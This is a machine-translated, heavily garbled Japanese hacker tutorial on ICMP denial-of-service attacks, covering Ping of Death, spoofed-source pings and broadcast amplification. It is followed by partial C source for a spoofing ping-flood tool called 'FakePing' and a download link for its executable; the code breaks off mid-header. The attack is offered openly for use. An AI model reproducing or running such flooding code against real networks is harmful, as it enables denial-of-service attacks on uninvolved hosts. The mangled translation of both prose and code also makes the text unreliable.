近年、多くの人々は何か、またPingの死者どのサイトを行って、呼び出しが技術的に、どのようなサービス妨害攻撃、我々は条件を満たすために:攻撃者の最大の消費されて交換、少なくともリソースに必要なく。私たちはピンと行くのが好きだけで不思議ではない:各少なくとも害その他の最大のリソースと、ばかげている:人々の戦争は50年前、おそらく行動に属し、インターネット時代ではなく、どのように多くの人々にできるようになります。
今日は、Pingはの、ピンICMPメッセージ(タイプ8コード0を送信することです)のも大きなパケットに対してpingを実行に対処されていませんネットワーク上のホストに長い時間前にツールは、オペレーティングシステム(例えばWin95の)の一部の存在を探索しています、Pingでの攻撃の死(大各またはその他のネットワーク)、オペレーティングシステムのアップグレードを詰め、ネットワーク帯域幅のアップグレードは、現時点では、コンピュータのハードウェアのアップグレードは、実質no大Pingパケットアールを台無しにすると袋に対してpingを実行、結果分散攻撃を除いて大規模な攻撃効果()、我々は他のホストを攻撃するは、Pingパケットを使用しなければならない場合を除き使用のTCP / IPプロトコルまたはほとんどの攻撃の強さを(いわゆる正のフィードバック増幅のネットワークトポロジの他の特性)
通常の状況では、Pingプロセスは、このようなものです:
ホストAは、ホストのICMP 8,0 Bにパケットを送信します
ホストBが戻ってホストのICMP 0,0にメッセージを送信
ICMPは上のリンクがないので、私たちに機会を与える、ホストはホストとしてポーズと仮定していたので8,0 Cのパケットを、何が起こるか結果がICMPを送信します?明らかに、ホストB、ホストCは、そのレポートをお送りします紙の距離
応答が、次の構造をCをホストする:
Cのエラーホストの応答を装った
ホスト--------------------- ホストB ------------------ ホストC
実際にはホストBとホストCは攻撃のターゲットにしている間、この場合は、ホストでのみ必要必要EchoReplyの戻り値に対処することなくpingを実行パケットを送信するようにように、努力、および攻撃を掛けていることもあり得ない独自のマークの下に1つの石のアプローチで隠密攻撃2羽の鳥です。
より堅牢なオペレーティングシステム用のメソッドSOCK_RAWであるがIPの上のことを簡単に偽装が、二回も拡大し、帯域幅を大きく、また大きな影響を持って、我々は再びスポーツ組織ですか?しない権利、私たちに敵はまあ概念放送と呼ばれる、いわゆる放送のものがあるアドレスは、LAN内の任意のホストは、このアドレスにメッセージを(ラジオ放送と同じ)を受信するに送信されますでは、TCP / IPを拡大表示するよう、か?はありますか?はい!我々はブロードキャストアドレスにメッセージをICMPエコーを(Pingはブロードキャストアドレスに)が送信に行けば、結果は各イーサネット上の応答が多くなるがしますホストはさ回答がブロードキャストメッセージを受け取ることができますICMP_ECHOREPLY場合は、UNIXで無線LANブロードキャストを何をはじめようパケット応答の多くが表示されますアドレスに対してpingを実行マシンをテストする場合は、応答をWindowsシステムではなく、結果の種類を繰り返しているため、Microsoft後ろに下がり、また、Microsoftのシステムは、デフォルトパッケージのアドレスをブロードキャストに応答しない失敗した後、Pingプログラムは、複数の、最初のパケットを受信解凍するので、UNIXホストの無線LANテストの多くのより良い応答しません。
ここでは、スマートあなたは私が今?ちょっとちょっとをしたい、そう、我々はブロードキャストアドレスのホストを攻撃するふりを知っているリクエスト時にpingを送信送信すると、ホストのすべてのブロードキャストアドレスは、Pingリクエストに応答するこれは、攻撃の強さに相当するN回です(Nはブロードキャストアドレスは、ホスト数の範囲内のパケットに対してpingを実行に対応する)
ホストCとマスカレードが間違っているすべてのラジオホストの応答です
ホスト--------------------- ブロードキャストアドレス======================= == ホストC
私がすると、HTTPことができます:/ / www.patching.net /散弾銃/ FakePing.exeダウンロードFakePingツールを書いている。
TargetIPブロードキャストアドレスは、そのFakeIPが標的にされた場合、使い方はFakePing.exe FakeIP TargetIP [PacketSize]です。
ソースは、発表次:
typedefは、IPアドレスの/ /定義ヘッダ_iphdr構造体
(
unsigned char型h_verlen / / 4位最初の首相度、IPバージョン4
unsigned char型ハウツー; / / 8サービスタイプが利用規約
unsigned short型total_len / / 16中央全体の長さ(バイト)
unsigned short型のident; / / 16ビットの識別
unsigned short型frag_and_flags / / 3フラグビット
unsigned char型のTTL; TTLの/ / 8生存期間中央値
unsigned char型プロト/ / 8ビットプロトコル(TCP、UDPまたはその他)
unsigned short型チェック/ / 16位のIPヘッダのチェックサム
unsigned int型のsourceIP / / 32のデジタル送信元IPアドレス
unsigned int型のdestIP / / 32位IPの目的アドレス
)IP_HEADER;
/ /定義ICMPヘッダ
typedefは_ihdr構造体
(
バイトi_type; / / 8ビットのタイプ
バイトi_code; / / 8ビットコード
USHORTにi_cksum / / 16ビットのチェックサム
USHORTにi_id / /識別番号(通常はID番号とプロセス番号)
USHORTにi_seq / /メッセージのシーケンス番号
ULONGのタイムスタンプ/ /タイムスタンプ
)ICMP_HEADER;
/ /チェックサム:計算チェックサム関数
USHORTにチェックサム(USHORTに*バッファ、int型のサイズ)
(
unsigned long型cksumの= 0;
(サイズ 1)中
(
cksumのの+ =*バッファ+ +の;
サイズ-=はsizeof(USHORTに);
)
(サイズ)場合
(
cksumのの+ = *(UCHAR *)をバッファ;
)
cksumの=(cksumの 16)+(cksumの&0xffff)の;
cksumのの+ =(cksumの 16);
リターン(USHORTに)(〜のcksumの);
)
/ / main関数をFakePing
int型のmain(int型argcは、文字** argv)を
(
intは、ErrorCodeを、カウンタ、フラグデータサイズ;
int型のタイムアウト= 2000、SendSEQ = 0、= 32 PacketSize;
文字SendBuf [65535] =(0);
WSADATAのwsaData;
ソケットのSockRaw =(ソケット)はNULL;
sockaddr_in構造DestAddr構造体。
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
文字FakeSourceIp [20]、DestIp [20];
コマンドラインパラメータ/ /を受け入れる
(もしargcは 3)
(
ショットガンでのprintf("FakePing
");
のprintf("このプログラムはFakeIPからピンポンフラッディングを行うことができます
");
のprintf("FakeIPとしての効果を強化するブロードキャストIPを使用して
");
のprintf("Eメール:
");
のprintf("Shotgun@Xici.Net
");
のprintf("ホームページ:
");
のprintf("http://It.Xici.Net
");
のprintf("http://www.Patching.Net
");
のprintf("使用法:
FakePing.exeのFakeSourceIpのDestinationIpの[が] PacketSize
");
のprintf("例:
");
のprintf("FakePing.exe 192.168.15.23 192.168.15.255
");
のprintf("FakePing.exe 192.168.15.23 192.168.15.200 6400
");
出口(0);
)
strcpyの(FakeSourceIp、argvは[1]);
strcpyの(DestIp、argvは[2]);
(argcは 3)PacketSize =はatoi(argvは[3])場合はtrue。
) 60000 PacketSize(存在する場合
(
のprintf("エラーは、パケットサイズが大きすぎる!、60,000を必ず
");
出口(0);
)
のprintf("今偽%は=%dバイトのパケットサイズを使用してsに%に対してpingを実行だ
"
FakeSourceIp、DestIp、PacketSize);
のprintf("Ctrl + Cを終了する
");
/ /はSOCK_RAWであるの初期化
((ErrorCodeを= WSAStartupを(MAKEWORD(2,1)、&wsaData))!場合= 0)
(
fprintfの(stderrは、"WSAStartupが失敗しました:%dが
"、ErrorCodeを);
のExitProcess()はSTATUS_FAILED;
)
=したWSASocket((SockRaw(AF_INETの、SOCK_RAWである、IPPROTO_RAWは、NULL、0、WSA_FLAG_OVERLAPPEDを指定))== INVALID_SOCKET)場合
(
fprintfのは(stderrに、"指定したWSASocket()に失敗しました:%dは
"、WSAGetLastErrorから());
のExitProcess()はSTATUS_FAILED;
)
フラグ= TRUEを
/ /設定IP_HDRINCLが独自のIPヘッダーを埋める
ErrorCodeを=でsetsockopt(SockRaw、はIPPROTO_IP、うちにIP_HDRINCL、(char *)を&フラグは、sizeof(int型));
errorCodeは== SOCKET_ERRORを(存在する場合)
のprintf("設定うちにIP_HDRINCLエラー!
");
__try
(
/ /設定は、タイムアウトを送信
ErrorCodeを=でsetsockopt(SockRaw、をSOL_SOCKET、SO_SNDTIMEOは、(char *)を&タイムアウトは、sizeof(タイムアウト));
errorCodeは== SOCKET_ERRORを(存在する場合)
(
fprintfの(stderrは、"タイムアウトを送信:%を設定できませんでしたdは
"、WSAGetLastErrorから());
__leave;
)
memset(&DestAddr、0は、sizeof(DestAddr));
DestAddr.sin_family = AF_INETの;
DestAddr.sin_addr.s_addr =のinet_addr(DestIp);
/ /塗りつぶしのIPヘッダ
ip_header.h_verlen =(/はsizeof(unsigned long型)); / /高4 IPバージョン番号、4度の低いの最初の首相4 4 |はsizeof(ip_header)
ip_header.total_len = htons(はsizeof(IP_HEADER)+はsizeof(ICMP_HEADER)); / / 16中央全体の長さ(バイト)
ip_header.ident = 1;
/ / 16のID
ip_header.frag_and_flags = 0;
/ / 3フラグ
ip_header.ttl = 128;
/ / 8ビットTTLの生存期間
ip_header.proto = IPPROTO_ICMP;